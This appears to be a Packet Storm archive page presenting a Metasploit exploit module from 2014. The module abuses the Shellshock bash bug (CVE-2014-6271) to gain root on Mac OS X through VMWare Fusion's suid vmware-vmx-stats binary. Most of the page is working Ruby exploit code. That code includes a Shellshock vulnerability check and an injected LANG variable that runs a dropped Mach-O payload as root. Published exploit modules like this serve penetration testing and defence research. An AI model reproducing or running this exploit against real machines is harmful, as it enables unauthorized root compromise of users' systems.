what you don't know can hurt you

Mac OS X VMWare Fusion Root Privilege Escalation

Mac OS X VMWare Fusion Root Privilege Escalation
Posted Sep 25, 2014
Authored by mubix, joev, Stephane Chazelas, juken | Site metasploit.com

This abuses the bug in bash environment variables (CVE-2014-6271) to get a suid binary inside of VMWare Fusion to launch our payload as root.

tags | exploit, root, bash
advisories | CVE-2014-6271
MD5 | f5f9b29d43a8fed2b9e5c43663ec5254

Mac OS X VMWare Fusion Root Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X VMWare Fusion Root Privilege Escalation Exploit',
'Description' => %q{
This abuses the bug in bash environment variables (CVE-2014-6271) to get
a suid binary inside of VMWare Fusion to launch our payload as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephane Chazelas', # discovered the bash bug
'juken', # discovered the VMWare priv esc
'joev', # msf module
'mubix' # vmware-vmx-stats
],
'References' =>
[
[ 'CVE', '2014-6271' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))

register_options([
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
], self.class)
end

def check
check_str = Rex::Text.rand_text_alphanumeric(5)
# ensure they are vulnerable to bash env variable bug
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/

Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary

print_status("Writing payload file as '#{payload_file}'")
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
write_file(payload_file, exe)
register_file_for_cleanup(payload_file)
cmd_exec("chmod +x #{payload_file}")

print_status("Running VMWare services...")
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close